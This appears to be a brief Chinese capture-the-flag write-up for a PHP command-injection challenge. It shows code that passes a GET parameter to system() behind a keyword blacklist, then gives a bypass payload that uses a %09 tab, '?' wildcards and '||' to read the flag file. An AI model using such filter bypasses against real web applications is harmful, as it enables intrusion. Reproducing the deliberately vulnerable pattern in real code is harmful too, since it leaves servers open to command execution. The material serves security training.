1. 代码审计

      1. <?php
      2. if(isset($_GET['c'])){
      3. $c=$_GET['c'];
      4. if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c))
      5. //增加了数字,$,*过滤
      6. {
      7. system($c." >/dev/null 2>&1");
      8. }
      9. }else{
      10. highlight_file(__FILE__);
      11. }
    2. 这里把$ *过滤掉了,那么就不能用${IFS}了,这里用%09提交后会自动解码为tap键,不会被正则匹配上,*号被过滤,可以用?进行代替

      ?c=tac%09fla??php||